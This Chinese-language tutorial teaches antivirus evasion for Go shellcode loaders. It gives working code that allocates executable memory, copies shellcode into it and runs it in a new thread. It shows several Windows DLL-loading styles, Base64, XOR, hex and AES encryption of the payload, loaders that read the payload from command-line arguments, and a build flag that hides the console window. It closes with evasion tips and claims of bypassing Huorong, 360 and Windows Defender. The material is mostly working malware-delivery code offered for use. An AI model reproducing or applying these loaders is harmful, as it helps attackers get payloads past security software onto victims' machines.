golang免杀初尝试
字数 1180 2025-08-29 08:32:30
Golang免杀技术详解
前言
本文详细讲解如何使用Golang实现Shellcode的免杀技术,涵盖多种DLL调用方式、Shellcode加密方法以及绕过杀毒软件的技巧。通过组合不同的技术手段,可以有效绕过AV检测。
基础知识
Windows API调用流程
执行Shellcode的常规流程:
- 申请虚拟内存
- 把Shellcode写入虚拟内存
- 调用写入Shellcode的虚拟内存
Golang调用Windows API的方式
Golang中调用Windows API需要导入DLL并获取函数地址。以下是几种主要的调用方式:
1. 获取DLL句柄的方法
syscall包:提供低级操作系统原语接口
LoadLibrary:基础DLL加载函数LoadDLL:加载命名的DLL文件(可能存在DLL预加载攻击风险)MustLoadDLL:类似LoadDLL,但加载失败会panicNewLazyDLL:延迟加载DLL,直到第一次调用
2. 从DLL获取函数的方法
GetProcAddress:获取函数地址FindProc:在DLL中搜索指定过程MustFindProc:类似FindProc,但搜索失败会panicNewProc:为LazyDLL创建过程访问
3. 函数调用的方法
SyscallN:直接系统调用Call:通过Proc结构调用函数
Shellcode加载实现
基础实现代码
package main
import (
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32, _ = syscall.LoadLibrary("Kernel32.dll")
createThread, _ = syscall.GetProcAddress(kernel32, "CreateThread")
virtualAlloc, _ = syscall.GetProcAddress(kernel32, "VirtualAlloc")
rtlMoveMemory, _ = syscall.GetProcAddress(kernel32, "RtlMoveMemory")
waitForSingleObject, _ = syscall.GetProcAddress(kernel32, "WaitForSingleObject")
syscallN = syscall.SyscallN
)
func main() {
buf := []byte("\xfc\x48\x83...") // Shellcode
lpMem, _, _ := syscallN(virtualAlloc, uintptr(0), uintptr(len(buf)),
MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
_, _, _ = syscallN(rtlMoveMemory, lpMem, uintptr(unsafe.Pointer(&buf[0])),
uintptr(len(buf)))
// 方法1: 创建线程执行
hThread, _, _ := syscallN(createThread, 0, 0, lpMem, 0, 0, 0)
_, _, _ = syscallN(waitForSingleObject, hThread, uintptr(0xffff))
// 方法2: 直接调用
// syscallN(lpMem)
_ = syscall.FreeLibrary(kernel32)
}
隐藏控制台窗口
编译时添加参数隐藏黑框:
go build -ldflags="-H windowsgui" xxx.go
Shellcode加密技术
1. Base64加密
// 加密
enc := base64.StdEncoding.EncodeToString(buf)
fmt.Println(enc)
// 解密
dec, _ := base64.StdEncoding.DecodeString(enc)
fmt.Println(dec)
2. 异或加密
// 加密/解密
for i := 0; i < len(buf); i++ {
buf[i] ^= 50 // 异或密钥
}
3. Hex编码
// 加密
enc := hex.EncodeToString(buf)
fmt.Println(enc)
// 解密
dec, _ := hex.DecodeString(enc)
fmt.Println(string(dec))
4. AES加密(CBC模式)
func pkcs5Padding(ciphertext []byte, blockSize int) []byte {
padding := blockSize - len(ciphertext)%blockSize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(ciphertext, padtext...)
}
func pkcs5UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}
func AesDecryptCBC(encrypted []byte, key []byte) (decrypted []byte) {
block, _ := aes.NewCipher(key)
blockSize := block.BlockSize()
blockMode := cipher.NewCBCDecrypter(block, key[:blockSize])
decrypted = make([]byte, len(encrypted))
blockMode.CryptBlocks(decrypted, encrypted)
decrypted = pkcs5UnPadding(decrypted)
return decrypted
}
func AesEncryptCBC(origData []byte, key []byte) (encrypted []byte) {
block, _ := aes.NewCipher(key)
blockSize := block.BlockSize()
origData = pkcs5Padding(origData, blockSize)
blockMode := cipher.NewCBCEncrypter(block, key[:blockSize])
encrypted = make([]byte, len(origData))
blockMode.CryptBlocks(encrypted, origData)
return encrypted
}
不同DLL调用方式的实现
1. LoadDLL方式
var (
kernel32, _ = syscall.LoadDLL("Kernel32.dll")
createThread, _ = kernel32.FindProc("CreateThread")
virtualAlloc, _ = kernel32.FindProc("VirtualAlloc")
rtlMoveMemory, _ = kernel32.FindProc("RtlMoveMemory")
waitForSingleObject, _ = kernel32.FindProc("WaitForSingleObject")
)
func main() {
// 调用方式
lpMem, _, _ := virtualAlloc.Call(uintptr(0), uintptr(len(buf)),
MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
// ...
_ = kernel32.Release()
}
2. MustLoadDLL方式
var (
kernel32 = syscall.MustLoadDLL("Kernel32.dll")
createThread = kernel32.MustFindProc("CreateThread")
virtualAlloc = kernel32.MustFindProc("VirtualAlloc")
rtlMoveMemory = kernel32.MustFindProc("RtlMoveMemory")
waitForSingleObject = kernel32.MustFindProc("WaitForSingleObject")
)
3. NewLazyDLL方式
var (
kernel32 = syscall.NewLazyDLL("Kernel32.dll")
createThread = kernel32.NewProc("CreateThread")
virtualAlloc = kernel32.NewProc("VirtualAlloc")
rtlMoveMemory = kernel32.NewProc("RtlMoveMemory")
waitForSingleObject = kernel32.NewProc("WaitForSingleObject")
)
加载器实现
Base64加载器
package main
import (
"encoding/base64"
"os"
"syscall"
"unsafe"
)
// ... 常量定义和变量声明 ...
func main() {
b64 := os.Args[1] // 从命令行参数获取base64编码的shellcode
buf, _ := base64.StdEncoding.DecodeString(b64)
// ... 内存分配和shellcode执行代码 ...
}
Hex加载器
func main() {
hexStr := os.Args[1]
buf, _ := hex.DecodeString(hexStr)
// ... 内存分配和shellcode执行代码 ...
}
AES加载器
func main() {
encHex := os.Args[1]
key := []byte("0123456789123456") // 密钥
enc, _ := hex.DecodeString(encHex)
buf := AesDecryptCBC(enc, key)
// ... 内存分配和shellcode执行代码 ...
}
免杀技巧总结
- 多种DLL调用方式组合:交替使用不同DLL加载方法
- Shellcode加密:使用Base64、异或、Hex、AES等多种加密方式
- 参数外部传入:避免在代码中直接包含Shellcode
- 隐藏控制台窗口:编译时使用
-H windowsgui参数 - 函数名混淆:使用中文变量名或其他混淆方式
- 加载器分离:将Shellcode与加载器分离,降低检测风险
测试结果
- 火绒:基础实现即可绕过
- 360安全卫士:需要配合加密技术(异或或AES)
- Windows Defender:加密后可以绕过
注意事项
- 避免在代码中直接包含Shellcode,容易被沙箱检测
- 加载器需要配合载体存储Shellcode
- 不同杀毒软件可能需要不同的绕过技术组合
- 定期更新加密方式和调用方法,避免特征被捕获
通过以上技术的组合使用,可以有效实现Golang编写的Shellcode加载器的免杀效果。